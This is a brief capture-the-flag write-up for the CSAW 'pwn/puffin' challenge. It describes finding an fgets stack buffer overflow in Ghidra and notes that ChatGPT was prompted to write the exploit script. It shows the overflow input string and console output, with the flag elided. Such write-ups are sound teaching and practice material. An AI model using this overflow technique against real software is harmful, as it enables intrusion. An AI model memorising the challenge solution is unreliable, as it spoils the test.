CSAW - LLM

Suriya Prakash Jambunathan - sj3828
Krishnan Navadia - kn2501

pwn/puffin

Observation:

The challenge provides us with a binary that asks for user input (password), and prints the flag if “local_c” is modified.

Approach:

1. Observe the binary using Ghidra.
2. Observe the main function for vulnerabilities (in this case “fgets”) in the script to exploit.
3. Identify the string that will result in buffer overflow.
4. Extract the printed flag.

Solution:

1. Prompted ChatGPT to give a python code for steps 2-3 in the Approach.

```
The penguins are watching:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
```

Flag: *Flag not given with the files, so created a file called “flag.txt” in the same folder. Printing console out*

```
# ./puffin
The penguins are watching:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
csawctf{...}# /bin/sh: 5: AABBBB: not found
```

Chat: *CSAW LLM - Puffin (openai.com)*